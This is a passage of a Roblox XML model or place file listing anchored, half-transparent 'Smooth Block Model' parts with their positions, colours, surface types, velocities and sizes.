				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004272</X>
					<Y>2.19973516</Y>
					<Z>9.99954605</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00247194967</X>
					<Y>-0.00562368054</Y>
					<Z>-0.00302127423</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1134">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003586</X>
					<Y>2.19972372</Y>
					<Z>12.0000963</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00185276801</X>
					<Y>0.00606262684</Y>
					<Z>0.00137947919</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1135">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005798</X>
					<Y>6.9997139</Y>
					<Z>3.99987984</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00163096888</X>
					<Y>-0.00567978434</Y>
					<Z>-0.00658480264</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1136">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002289</X>
					<Y>8.19970226</Y>
					<Z>17.9999638</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00422180491</X>
					<Y>0.00694817025</Y>
					<Z>0.0056487387</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1137">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005836</X>
					<Y>5.79971313</Y>
					<Z>3.99987602</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00149304653</X>
					<Y>-0.00567978434</Y>
					<Z>-0.00443994999</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1138">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002556</X>
					<Y>6.99964428</Y>
					<Z>16.0003242</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00136250583</X>
					<Y>0.00366107118</Y>
					<Z>-0.000599708816</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1139">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0002213</X>
					<Y>6.99964142</Y>
					<Z>17.9999733</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.0039872108</X>
					<Y>0.00694815256</Y>
					<Z>0.00403025188</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1140">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005379</X>
					<Y>9.4000864</Y>
					<Z>6.00007057</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00214971323</X>
					<Y>0.00790515915</Y>
					<Z>0.0179368071</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1141">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>81.5</X>
					<Y>4</Y>
					<Z>94.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>7</X>
					<Y>7.20000029</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1142">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005417</X>
					<Y>8.19977283</Y>
					<Z>6.00008011</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00199939171</X>
					<Y>0.00790513027</Y>
					<Z>0.0156536084</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1143">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005798</X>
					<Y>8.1997757</Y>
					<Z>3.99988174</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00176889123</X>
					<Y>-0.00567978434</Y>
					<Z>-0.0087296553</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1144">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003166</X>
					<Y>5.79895878</Y>
					<Z>13.9998493</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.000398438453</X>
					<Y>0.0125161363</Y>
					<Z>0.00162730599</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1145">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003548</X>
					<Y>4.59966183</Y>
					<Z>12.0001059</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00201739371</X>
					<Y>0.00606262684</Y>
					<Z>-0.00156252226</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1146">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003166</X>
					<Y>4.59895897</Y>
					<Z>13.9998465</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
